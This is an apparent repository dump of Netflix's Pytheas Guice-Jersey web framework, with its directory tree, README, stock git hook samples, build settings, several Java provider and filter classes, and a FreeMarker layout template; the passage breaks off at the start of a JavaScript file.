"name": "ExplorerServiceInstanceSupplier.java"}, {"type": "file", "name": "ReferenceCountingExplorerService.java"}]}, {"type": "directory", "name": "sse", "children": [{"type": "file", "name": "EventChannel.java"}, {"type": "file", "name": "EventChannelBroadcaster.java"}, {"type": "file", "name": "EventChannelListener.java"}, {"type": "file", "name": "EventChannelWriter.java"}, {"type": "file", "name": "OutboundEvent.java"}, {"type": "file", "name": "OutboundEventWriter.java"}]}, {"type": "directory", "name": "sso", "children": [{"type": "file", "name": "SsoAuthProviderWrapper.java"}, {"type": "file", "name": "SsoAuthProviderWrapperMockImpl.java"}]}, {"type": "directory", "name": "web", "children": [{"type": "file", "name": "IndexRedirectFilter.java"}, {"type": "file", "name": "StaticResourceServlet.java"}]}]}]}]}]}, {"type": "directory", "name": "resources", "children": [{"type": "directory", "name": "css", "children": [{"type": "directory", "name": "blitzer-prod", "children": [{"type": "directory", "name": "images", "children": []}, {"type": "file", "name": "jquery-ui-1.8.19.custom.css"}]}, {"type": "directory", "name": "blitzer-test", "children": [{"type": "directory", "name": "images", "children": []}, {"type": "file", "name": "jquery-ui-1.8.19.custom.css"}]}, {"type": "file", "name": "bootstrap.css"}, {"type": "file", "name": "DT_bootstrap.css"}, {"type": "file", "name": "explorers.css"}, {"type": "directory", "name": "images", "children": [{"type": "file", "name": "favicon.ico"}]}, {"type": "file", "name": "nav.css"}, {"type": "directory", "name": "smoothness", "children": [{"type": "directory", "name": "images", "children": []}, {"type": "file", "name": "jquery-ui-1.8.19.custom.css"}]}, {"type": "file", "name": "tipsy.css"}]}, {"type": "directory", "name": "errors", "children": [{"type": "file", "name": "internal_error.ftl"}, {"type": "file", "name": "not_found.ftl"}]}, {"type": "directory", "name": "js", "children": [{"type": "directory", "name": "bootstrap", "children": [{"type": "directory", "name": "css", "children": [{"type": "file", "name": "bootstrap-responsive.css"}, {"type": "file", "name": "bootstrap-responsive.min.css"}, {"type": "file", "name": "bootstrap.css"}, {"type": "file", "name": "bootstrap.min.css"}]}, {"type": "directory", "name": "img", "children": []}, {"type": "directory", "name": "js", "children": [{"type": "file", "name": "bootstrap.js"}, {"type": "file", "name": "bootstrap.min.js"}, {"type": "file", "name": "DT_bootstrap.js"}]}]}, {"type": "directory", "name": "d3", "children": [{"type": "file", "name": ".npmignore"}, {"type": "file", "name": "d3.chart.js"}, {"type": "file", "name": "d3.chart.min.js"}, {"type": "file", "name": "d3.csv.js"}, {"type": "file", "name": "d3.csv.min.js"}, {"type": "file", "name": "d3.geo.js"}, {"type": "file", "name": "d3.geo.min.js"}, {"type": "file", "name": "d3.geom.js"}, {"type": "file", "name": "d3.geom.min.js"}, {"type": "file", "name": "d3.js"}, {"type": "file", "name": "d3.layout.js"}, {"type": "file", "name": "d3.layout.min.js"}, {"type": "file", "name": "d3.min.js"}, {"type": "file", "name": "d3.time.js"}, {"type": "file", "name": "d3.time.min.js"}, {"type": "file", "name": "d3.v2.min.js"}, {"type": "directory", "name": "lib", "children": [{"type": "directory", "name": "colorbrewer", "children": [{"type": "file", "name": "colorbrewer.css"}, {"type": "file", "name": "colorbrewer.js"}, {"type": "file", "name": "LICENSE"}]}, {"type": "directory", "name": "jit", "children": [{"type": "file", "name": "LICENSE"}]}, {"type": "directory", "name": "polymaps", "children": [{"type": "file", "name": "LICENSE"}]}, {"type": "directory", "name": "protovis", "children": [{"type": "file", "name": "LICENSE"}]}, {"type": "directory", "name": "science", "children": [{"type": "file", "name": "LICENSE"}, {"type": "file", "name": "science.js"}, {"type": "file", "name": "science.lin.js"}, {"type": "file", "name": "science.lin.min.js"}, {"type": "file", "name": "science.min.js"}, {"type": "file", "name": "science.stats.js"}, {"type": "file", "name": "science.stats.min.js"}]}, {"type": "directory", "name": "sizzle", "children": [{"type": "file", "name": "LICENSE"}, {"type": "file", "name": "sizzle.js"}, {"type": "file", "name": "sizzle.min.js"}]}]}, {"type": "file", "name": "LICENSE"}]}, {"type": "file", "name": "diff.js"}, {"type": "directory", "name": "form2js", "children": [{"type": "file", "name": "form2js.js"}, {"type": "file", "name": "jquery.toObject.js"}, {"type": "file", "name": "js2form.js"}]}, {"type": "directory", "name": "Highcharts", "children": [{"type": "directory", "name": "adapters", "children": [{"type": "file", "name": "mootools-adapter.js"}, {"type": "file", "name": "mootools-adapter.src.js"}, {"type": "file", "name": "prototype-adapter.js"}, {"type": "file", "name": "prototype-adapter.src.js"}]}, {"type": "file", "name": "highcharts.js"}, {"type": "file", "name": "highcharts.src.js"}, {"type": "directory", "name": "modules", "children": [{"type": "file", "name": "exporting.js"}, {"type": "file", "name": "exporting.src.js"}]}, {"type": "directory", "name": "themes", "children": [{"type": "file", "name": "dark-blue.js"}, {"type": "file", "name": "dark-green.js"}, {"type": "file", "name": "gray.js"}, {"type": "file", "name": "grid.js"}]}]}, {"type": "directory", "name": "jquery", "children": [{"type": "directory", "name": "breadcrumbs", "children": [{"type": "directory", "name": "css", "children": [{"type": "file", "name": "Base.css"}, {"type": "file", "name": "BreadCrumb.css"}]}, {"type": "directory", "name": "Images", "children": []}, {"type": "directory", "name": "js", "children": [{"type": "file", "name": "jquery.jBreadCrumb.1.1.js"}]}]}, {"type": "directory", "name": "datatables", "children": [{"type": "directory", "name": "css", "children": [{"type": "file", "name": "demo_page.css"}, {"type": "file", "name": "demo_table.css"}, {"type": "file", "name": "demo_table_jui.css"}, {"type": "file", "name": "jquery.dataTables.css"}, {"type": "file", "name": "jquery.dataTables_themeroller.css"}]}, {"type": "directory", "name": "images", "children": [{"type": "file", "name": "favicon.ico"}, {"type": "file", "name": "Sorting icons.psd"}]}, {"type": "directory", "name": "js", "children": [{"type": "file", "name": "FixedHeader.js"}, {"type": "file", "name": "jquery.dataTables.columnFilter.js"}, {"type": "file", "name": "jquery.dataTables.min.js"}, {"type": "file", "name": "jquery.dataTables.plugins.js"}]}]}, {"type": "file", "name": "g.line-min.js"}, {"type": "file", "name": "jquery-1.7.2.min.js"}, {"type": "file", "name": "jquery-getQueryParam-1.0.full.js"}, {"type": "file", "name": "jquery-ui-1.8.19.custom.min.js"}, {"type": "file", "name": "jquery.ba-bbq.min.js"}, {"type": "file", "name": "jquery.ba-hashchange.min.js"}, {"type": "file", "name": "jquery.base64.js"}, {"type": "directory", "name": "jquery.contextMenu", "children": [{"type": "directory", "name": "images", "children": []}, {"type": "file", "name": "jquery.contextMenu.css"}, {"type": "file", "name": "jquery.contextMenu.js"}]}, {"type": "directory", "name": "jquery.dcmegamenu", "children": [{"type": "file", "name": "dcmegamenu.css"}, {"type": "file", "name": "jquery.dcmegamenu.1.3.3.min.js"}]}, {"type": "file", "name": "jquery.dialogextend.js"}, {"type": "file", "name": "jquery.dialogextend.min.js"}, {"type": "directory", "name": "jquery.dynatree", "children": [{"type": "file", "name": "GPL-LICENSE.txt"}, {"type": "file", "name": "jquery.dynatree.js"}, {"type": "file", "name": "jquery.dynatree.min.js"}, {"type": "file", "name": "MIT-License.txt"}, {"type": "directory", "name": "skin", "children": [{"type": "file", "name": "ui.dynatree.css"}]}]}, {"type": "file", "name": "jquery.easing.1.3.js"}, {"type": "file", "name": "jquery.form.js"}, {"type": "file", "name": "jquery.hoverIntent.minified.js"}, {"type": "file", "name": "jquery.jeditable.mini.js"}, {"type": "file", "name": "jquery.layout.min-1.2.0.js"}, {"type": "file", "name": "jquery.masonry.min.js"}, {"type": "file", "name": "jquery.min.js.ftl"}, {"type": "file", "name": "jquery.selectmenu.js"}, {"type": "file", "name": "jquery.status.js"}, {"type": "file", "name": "jquery.tipsy.js"}, {"type": "directory", "name": "netflix", "children": [{"type": "file", "name": "jquery.ajaxBusy.js"}, {"type": "file", "name": "jquery.cmc.js"}, {"type": "file", "name": "jquery.dtPlugins.js"}, {"type": "file", "name": "jquery.epic.js"}, {"type": "file", "name": "jquery.hash.js"}, {"type": "file", "name": "jquery.helplink.js"}, {"type": "file", "name": "jquery.netflix.min.js.ftl"}, {"type": "file", "name": "jquery.nfAjaxDialog.js"}, {"type": "file", "name": "jquery.nfAjaxDivLoader.js"}, {"type": "file", "name": "jquery.nfAjaxForm.js"}, {"type": "file", "name": "jquery.nfBreadcrumbs.js"}, {"type": "file", "name": "jquery.nfChord.js"}, {"type": "file", "name": "jquery.nfDialog.js"}, {"type": "file", "name": "jquery.nfDynamicListForm.js"}, {"type": "file", "name": "jquery.nfFileUpload.js"}, {"type": "file", "name": "jquery.nfKyklos.js"}, {"type": "file", "name": "jquery.nfMessage.js"}, {"type": "file", "name": "jquery.nfPopupDiv.js"}, {"type": "file", "name": "jquery.nfPortlet.js"}, {"type": "file", "name": "jquery.nfSelect.js"}, {"type": "file", "name": "jquery.nfTemplateDialog.js"}, {"type": "file", "name": "jquery.solr.js"}]}, {"type": "file", "name": "raphael-min.js"}, {"type": "directory", "name": "validate", "children": [{"type": "file", "name": "additional-methods.min.js"}, {"type": "file", "name": "jquery.validate.min.js"}]}]}, {"type": "file", "name": "json2.js"}, {"type": "file", "name": "jsondiffpatch.html.js"}, {"type": "file", "name": "jsondiffpatch.js"}, {"type": "file", "name": "utils.js"}]}, {"type": "directory", "name": "layout", "children": [{"type": "directory", "name": "bootstrap", "children": [{"type": "file", "name": "bootstrap.ftl"}, {"type": "file", "name": "divinput.ftl"}, {"type": "file", "name": "form.ftl"}, {"type": "file", "name": "header.ftl"}, {"type": "file", "name": "header.js"}, {"type": "file", "name": "js_css_include.ftl"}, {"type": "file", "name": "macros.ftl"}, {"type": "file", "name": "main.ftl"}, {"type": "file", "name": "main.js"}, {"type": "file", "name": "simpelpage.js"}, {"type": "file", "name": "simplepage.ftl"}]}, {"type": "directory", "name": "main", "children": [{"type": "file", "name": "defaultLayout.js"}, {"type": "file", "name": "divinput.ftl"}, {"type": "file", "name": "footer.ftl"}, {"type": "file", "name": "form.ftl"}, {"type": "file", "name": "header.ftl"}, {"type": "file", "name": "header.js"}, {"type": "file", "name": "js_css_include.ftl"}, {"type": "file", "name": "macros.ftl"}, {"type": "file", "name": "main.ftl"}, {"type": "file", "name": "main.js"}]}]}, {"type": "directory", "name": "min", "children": [{"type": "file", "name": "bootstrap_min.css"}, {"type": "file", "name": "bootstrap_min.js"}]}]}]}]}]}, {"type": "directory", "name": "pytheas-helloworld", "children": [{"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "explorers", "children": [{"type": "directory", "name": "helloworld", "children": [{"type": "file", "name": "HelloWorldExplorer.java"}, {"type": "file", "name": "HelloWorldGuiceModule.java"}, {"type": "directory", "name": "resources", "children": [{"type": "file", "name": "HelloWorldAppResource.java"}, {"type": "file", "name": "HelloWorldResource.java"}]}]}]}]}]}]}, {"type": "directory", "name": "resources", "children": [{"type": "file", "name": "country-list"}, {"type": "directory", "name": "helloworld", "children": [{"type": "file", "name": "home.ftl"}, {"type": "file", "name": "home.js"}, {"type": "file", "name": "index.ftl"}, {"type": "file", "name": "index.js"}]}, {"type": "file", "name": "helloworld-app-explorers.properties"}, {"type": "file", "name": "helloworld-app.properties"}, {"type": "file", "name": "helloworld-explorer.properties"}, {"type": "file", "name": "log4j.properties"}]}, {"type": "directory", "name": "webapp", "children": [{"type": "directory", "name": "META-INF", "children": [{"type": "file", "name": "MANIFEST.MF"}]}, {"type": "directory", "name": "WEB-INF", "children": [{"type": "file", "name": "web.xml"}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "explorers", "children": [{"type": "directory", "name": "helloworld", "children": [{"type": "file", "name": "ExplorerAppTest.java"}]}, {"type": "directory", "name": "providers", "children": [{"type": "file", "name": "MyFreemarkerTemplateProvider.java"}]}]}]}]}]}]}]}]}, {"type": "directory", "name": "pytheas-karyon", "children": [{"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "explorers", "children": [{"type": "directory", "name": "karyon", "children": [{"type": "file", "name": "ExplorerKaryonServerBootstrap.java"}]}]}]}]}]}]}]}]}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "settings.gradle"}]} | pytheas
=======
Pytheas is a Guice-Jersey based web application framework designed to allow quick prototyping and creation of web based tools that explore large data sources. Applications built on top of Pytheas consist of one or more loosely coupled modules, each encapsulating a data source and its corresponding UI elements. The framework provides a bundle of commonly used UI components for creating dynamic data exploration/visualization applications.
# Features
* Uses Guice/Governator for application bootstrapping.
* Supports Jersey REST data source integration
* Loosely coupled modules with isolated data resource loading and rendering mechanism.
* Seamless aggregation of modules at runtime with minimal configuration
* Bundles rich UI components based on open source frameworks such as Bootstrap, JQuery-UI, DataTables etc.
* Jersey based REST endpoints for streaming server-side-events (SSE)
* Supports cross domain AJAX data using JSONP
# Getting Started
* checkout code - git clone https://github.com/Netflix/pytheas
* run ./gradlew jettyRun
You should see a simple hello world application running at http://localhost:8989/pytheas-helloworld.
You can look into pytheas-helloworld subproject in your src to find more about specific code blocks needed to get started on building your own app using Pytheas.
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "gradle\\wrapper\\gradle-wrapper.properties": "#Thu Jul 28 13:07:28 PDT 2016\ndistributionBase=GRADLE_USER_HOME\ndistributionPath=wrapper/dists\nzipStoreBase=GRADLE_USER_HOME\nzipStorePath=wrapper/dists\ndistributionUrl=https\\://services.gradle.org/distributions/gradle-2.14.1-bin.zip\n", "pytheas-core\\src\\main\\java\\com\\netflix\\explorers\\AppConfigGlobalModelContext.java": "/**\n * Copyright 2014 Netflix, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.netflix.explorers;\n\nimport com.google.common.collect.Maps;\nimport com.google.inject.name.Named;\nimport com.netflix.config.ConfigurationManager;\nimport com.netflix.explorers.context.GlobalModelContext;\nimport com.netflix.explorers.model.CrossLink;\nimport org.apache.commons.beanutils.BeanUtils;\nimport org.apache.commons.configuration.AbstractConfiguration;\nimport org.apache.commons.lang.StringUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.io.IOException;\nimport java.lang.management.ManagementFactory;\nimport java.lang.management.RuntimeMXBean;\nimport java.util.Iterator;\nimport java.util.Map;\nimport java.util.Properties;\n\nimport com.google.inject.Singleton;\nimport com.google.inject.Inject;\n\n\n@Singleton\npublic class AppConfigGlobalModelContext implements GlobalModelContext {\n private static final Logger LOG = LoggerFactory.getLogger(PropertiesGlobalModelContext.class);\n\n public static String PROPERTY_ENVIRONMENT_NAME = \"com.netflix.explorers.environmentName\";\n public static String PROPERTY_CURRENT_REGION = \"com.netflix.explorers.currentRegion\";\n public static String PROPERTY_APPLICATION_NAME = \"com.netflix.explorers.applicationName\";\n public static String PROPERTY_APPLICATION_VERSION = \"com.netflix.explorers.applicationVersion\";\n public static String PROPERTY_IS_LOCAL = \"com.netflix.explorers.local\";\n public static String PROPERTY_HOME_PAGE = \"com.netflix.explorers.homepage\";\n public static String PROPERTY_DEFAULT_PORT = \"com.netflix.explorers.defaultPort\";\n public static String PROPERTY_DATA_CENTER = \"com.netflix.explorers.dataCenter\";\n public static String PROPERTY_DEFAULT_EXPLORER = \"com.netflix.explorers.defaultExplorer\";\n\n private static final String PROPERTIES_PREFIX = \"netflix.explorers\";\n\n private final String environmentName;\n private final String currentRegion;\n private final String applicationVersion;\n private final String applicationName;\n private final Boolean isLocal; // this should be moved outside\n private final String homePageUrl;\n private final short defaultPort;\n private final String defaultExplorerName;\n private final String dataCenter;\n\n private final Map<String, CrossLink> links = Maps.newHashMap();\n\n @Inject\n public AppConfigGlobalModelContext(@Named(\"explorerAppName\") String appName) {\n final String propertiesFileName = appName + \"-explorers.properties\";\n\n try {\n ConfigurationManager.loadPropertiesFromResources(propertiesFileName);\n } catch (IOException e) {\n LOG.error(String.format(\"Exception loading properties file - %s, Explorers application may not work correctly \",\n propertiesFileName));\n }\n\n AbstractConfiguration configuration = ConfigurationManager.getConfigInstance();\n\n environmentName = configuration.getString(PROPERTY_ENVIRONMENT_NAME);\n currentRegion = configuration.getString(PROPERTY_CURRENT_REGION);\n applicationVersion = (String) configuration.getProperty(PROPERTY_APPLICATION_VERSION);\n applicationName = (String) configuration.getProperty(PROPERTY_APPLICATION_NAME);\n isLocal = configuration.getBoolean(PROPERTY_IS_LOCAL, false);\n homePageUrl = configuration.getString(PROPERTY_HOME_PAGE);\n defaultPort = configuration.getShort(PROPERTY_DEFAULT_PORT, (short) 8080);\n dataCenter = configuration.getString(PROPERTY_DATA_CENTER);\n defaultExplorerName = configuration.getString(PROPERTY_DEFAULT_EXPLORER);\n\n try {\n Iterator<String> dcKeySet = configuration.getKeys(PROPERTIES_PREFIX + \".dc\");\n while (dcKeySet.hasNext()) {\n String dcKey = dcKeySet.next();\n String key = StringUtils.substringBefore(dcKey, \".\");\n String attr = StringUtils.substringAfter (dcKey, \".\");\n\n CrossLink link = links.get(key);\n if (link == null) {\n link = new CrossLink();\n links.put(key, link);\n }\n\n BeanUtils.setProperty(link, attr, configuration.getProperty(dcKey));\n }\n } catch (Exception e) {\n LOG.error(\"Exception in constructing links map \", e);\n throw new RuntimeException(e);\n }\n }\n\n @Override\n public String getEnvironmentName() {\n return environmentName;\n }\n\n @Override\n public Map<String, String> getEnvironment() {\n return System.getenv();\n }\n\n @Override\n public Map<String, CrossLink> getCrosslinks() {\n return links;\n }\n\n @Override\n public String getCurrentRegion() {\n return currentRegion;\n }\n\n @Override\n public Properties getGlobalProperties() {\n return null;\n }\n\n @Override\n public String getApplicationVersion() {\n return this.applicationVersion;\n }\n\n @Override\n public String getApplicationName() {\n return this.applicationName;\n }\n\n @Override\n public boolean getIsLocalExplorer() {\n return isLocal;\n }\n\n @Override\n public String getHomePageUrl() {\n return this.homePageUrl;\n }\n\n @Override\n public short getDefaultPort() {\n return this.defaultPort;\n }\n\n @Override\n public String getDataCenter() {\n return this.dataCenter;\n }\n\n @Override\n public long getStartTime() {\n RuntimeMXBean rb = ManagementFactory.getRuntimeMXBean();\n return rb.getStartTime();\n }\n\n @Override\n public String getDefaultExplorerName() {\n return this.defaultExplorerName;\n }\n\n @Override\n public String toString() {\n return \"PropertiesGlobalModelContext [environmentName=\" + environmentName + \", currentRegion=\" + currentRegion\n + \", applicationVersion=\" + applicationVersion + \", applicationName=\" + applicationName + \", isLocal=\"\n + isLocal + \", homePageUrl=\" + homePageUrl + \", defaultPort=\" + defaultPort + \", defaultExplorerName=\"\n + defaultExplorerName + \", dataCenter=\" + dataCenter + \", links=\" + links + \"]\";\n }\n}\n", "pytheas-core\\src\\main\\java\\com\\netflix\\explorers\\providers\\GenericExceptionMapper.java": "/**\n * Copyright 2014 Netflix, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.netflix.explorers.providers;\n\nimport java.io.ByteArrayOutputStream;\nimport java.io.PrintStream;\nimport java.util.List;\nimport java.util.Map;\n\nimport javax.ws.rs.core.Context;\nimport javax.ws.rs.core.MediaType;\nimport javax.ws.rs.core.Response;\nimport javax.ws.rs.core.Response.Status;\nimport javax.ws.rs.core.Variant;\nimport javax.ws.rs.ext.ExceptionMapper;\n\nimport org.codehaus.jettison.json.JSONException;\nimport org.codehaus.jettison.json.JSONObject;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.google.common.collect.Maps;\nimport com.sun.jersey.api.core.HttpContext;\nimport com.sun.jersey.api.view.Viewable;\n\npublic class GenericExceptionMapper implements ExceptionMapper<Exception> {\n private static final Logger LOG = LoggerFactory.getLogger( GenericExceptionMapper.class );\n private static List<Variant> supportedMediaTypes = Variant.mediaTypes(MediaType.APPLICATION_JSON_TYPE, MediaType.TEXT_HTML_TYPE).add().build();\n \n @Context \n private HttpContext context;\n\n public GenericExceptionMapper() {\n LOG.info(\"GenericExceptionMapper Created\");\n }\n \n @Override\n public Response toResponse(Exception error) {\n LOG.warn(\"GenericExceptionMapper\", error);\n \n MediaType mediaType = context.getRequest().selectVariant(supportedMediaTypes).getMediaType();\n if (mediaType != null && MediaType.APPLICATION_JSON_TYPE == mediaType) {\n try {\n ByteArrayOutputStream baos = new ByteArrayOutputStream();\n PrintStream ps = new PrintStream(baos);\n error.printStackTrace(ps);\n return Response\n .status(Status.INTERNAL_SERVER_ERROR)\n .entity(new JSONObject()\n .put(\"code\", 500)\n .put(\"url\", context.getUriInfo().getPath())\n .put(\"error\", error.toString())\n .put(\"message\", error.getMessage())\n .put(\"trace\", baos.toString()))\n .build();\n }\n catch (JSONException e) {\n LOG.warn(\"Exception processing JSON \", e);\n }\n }\n Map<String, Object> model = Maps.newHashMap();\n model.put(\"exception\", error);\n\n return Response.status(Status.INTERNAL_SERVER_ERROR).entity(new Viewable(\"/errors/internal_error.ftl\", model)).build();\n }\n}\n", "pytheas-core\\src\\main\\java\\com\\netflix\\explorers\\providers\\WebApplicationExceptionMapper.java": "/**\n * Copyright 2014 Netflix, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.netflix.explorers.providers;\n\nimport com.google.inject.Singleton;\nimport com.sun.jersey.api.core.HttpContext;\nimport org.codehaus.jettison.json.JSONException;\nimport org.codehaus.jettison.json.JSONObject;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport javax.ws.rs.WebApplicationException;\nimport javax.ws.rs.core.Context;\nimport javax.ws.rs.core.MediaType;\nimport javax.ws.rs.core.Response;\nimport javax.ws.rs.core.Variant;\nimport javax.ws.rs.ext.ExceptionMapper;\nimport javax.ws.rs.ext.Provider;\nimport java.io.ByteArrayOutputStream;\nimport java.io.PrintStream;\nimport java.util.List;\n\n@Singleton\npublic class WebApplicationExceptionMapper implements ExceptionMapper<WebApplicationException> {\n private static final Logger LOG = LoggerFactory.getLogger(WebApplicationExceptionMapper.class);\n private static List<Variant> supportedMediaTypes = Variant.mediaTypes(MediaType.APPLICATION_JSON_TYPE, MediaType.TEXT_HTML_TYPE).add().build();\n \n @Context \n private HttpContext context;\n\n public WebApplicationExceptionMapper() {\n LOG.info(\"GenericExceptionMapper Created\");\n }\n \n @Override\n public Response toResponse(WebApplicationException error) {\n if (error.getResponse() != null && (error.getResponse().getStatus() / 100) == 3) {\n LOG.warn(\"Code: \" + error.getResponse().getStatus());\n return error.getResponse();\n }\n \n MediaType mediaType = context.getRequest().selectVariant(supportedMediaTypes).getMediaType();\n if (mediaType != null && MediaType.APPLICATION_JSON_TYPE == mediaType) {\n try {\n ByteArrayOutputStream baos = new ByteArrayOutputStream();\n PrintStream ps = new PrintStream(baos);\n error.printStackTrace(ps);\n\n return Response\n .status(error.getResponse().getStatus())\n .type(MediaType.APPLICATION_JSON_TYPE)\n .entity(new JSONObject()\n .put(\"code\", error.getResponse().getStatus())\n .put(\"url\", context.getUriInfo().getPath())\n .put(\"error\", error.toString())\n .put(\"message\", error.getMessage())\n .put(\"trace\", baos.toString())\n )\n .build();\n }\n catch (JSONException e) {\n // TODO:\n }\n }\n\n // do not log 404\n if (! is404(error)) {\n LOG.warn(String.format(\"WebApplicationExceptionMapper status='%s' message='%s' url='%s'\",\n error.getResponse().getStatus(), error.getMessage(), context.getRequest().getPath()),\n error);\n }\n\n\n return Response.status(error.getResponse().getStatus()).build();\n }\n\n private boolean is404(WebApplicationException error) {\n return error.getResponse().getStatus() == Response.Status.NOT_FOUND.getStatusCode();\n }\n}\n", "pytheas-core\\src\\main\\java\\com\\netflix\\explorers\\sso\\SsoAuthProviderWrapper.java": "/**\n * Copyright 2014 Netflix, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.netflix.explorers.sso;\n\n\npublic interface SsoAuthProviderWrapper {\n boolean hasSsoAuthProvider();\n}\n", "pytheas-core\\src\\main\\java\\com\\netflix\\explorers\\sso\\SsoAuthProviderWrapperMockImpl.java": "/**\n * Copyright 2014 Netflix, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.netflix.explorers.sso;\n\npublic class SsoAuthProviderWrapperMockImpl implements SsoAuthProviderWrapper {\n\n @Override\n public boolean hasSsoAuthProvider() {\n return false;\n }\n}\n", "pytheas-core\\src\\main\\java\\com\\netflix\\explorers\\web\\IndexRedirectFilter.java": "/**\n * Copyright 2014 Netflix, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.netflix.explorers.web;\n\nimport java.io.IOException;\n\nimport javax.servlet.Filter;\nimport javax.servlet.FilterChain;\nimport javax.servlet.FilterConfig;\nimport javax.servlet.ServletException;\nimport javax.servlet.ServletRequest;\nimport javax.servlet.ServletResponse;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\n/**\n * Very simple filter to redirect the root page to the default explorer\n * @author elandau\n */\npublic class IndexRedirectFilter implements Filter {\n\n private final String defaultExplorer;\n \n public IndexRedirectFilter(String defaultExplorer) {\n this.defaultExplorer = defaultExplorer;\n }\n \n @Override\n public void destroy() {\n }\n\n @Override\n public void doFilter(ServletRequest request, ServletResponse response,\n FilterChain chain) throws IOException, ServletException {\n \n HttpServletRequest httpRequest = (HttpServletRequest) request;\n if (httpRequest.getRequestURI().equals(\"/\")) {\n ((HttpServletResponse) response).sendRedirect(\"/\" + defaultExplorer);\n return;\n }\n chain.doFilter(httpRequest, response);\n }\n\n @Override\n public void init(FilterConfig config) throws ServletException {\n // no op\n }\n\n}\n", "pytheas-core\\src\\main\\resources\\layout\\bootstrap\\main.ftl": "<#macro toolbar>\n</#macro>\n<#macro breadcrumbs>\n<div><span id=\"ca-breadcrumbs\"></span></div>\n</#macro>\n<#macro body>\nMissing body macro for ${nestedpage}\n</#macro>\n<#include \"${nestedpage}\">\n<html>\n <head>\n <link rel=\"shortcut icon\" href=\"${RequestContext.pathToRoot}res/css/images/favicon.ico\" type=\"image/x-icon\">\n <link rel=\"icon\" href=\"${RequestContext.pathToRoot}res/css/images/favicon.ico\" type=\"image/x-icon\">\n <meta charset=\"UTF-8\"/>\n <#include \"js_css_include.ftl\"/>\n <script type=\"text/javascript\">\n <#include \"main.js\"/>\n <#include \"header.js\"/>\n </script>\n </head>\n <body>\n <div class=\"outer-north\">\n <#include \"header.ftl\"/>\n </div> \n \n <div class=\"outer-center\">\n<@body/>\n </div>\n \n <div class=\"outer-south env-${Global.environmentName}\">\n Copyright Netflix.com\n </div>\n \n </body>\n</html>\n\n", "pytheas-core\\src\\main\\resources\\layout\\bootstrap\\main.js": "var 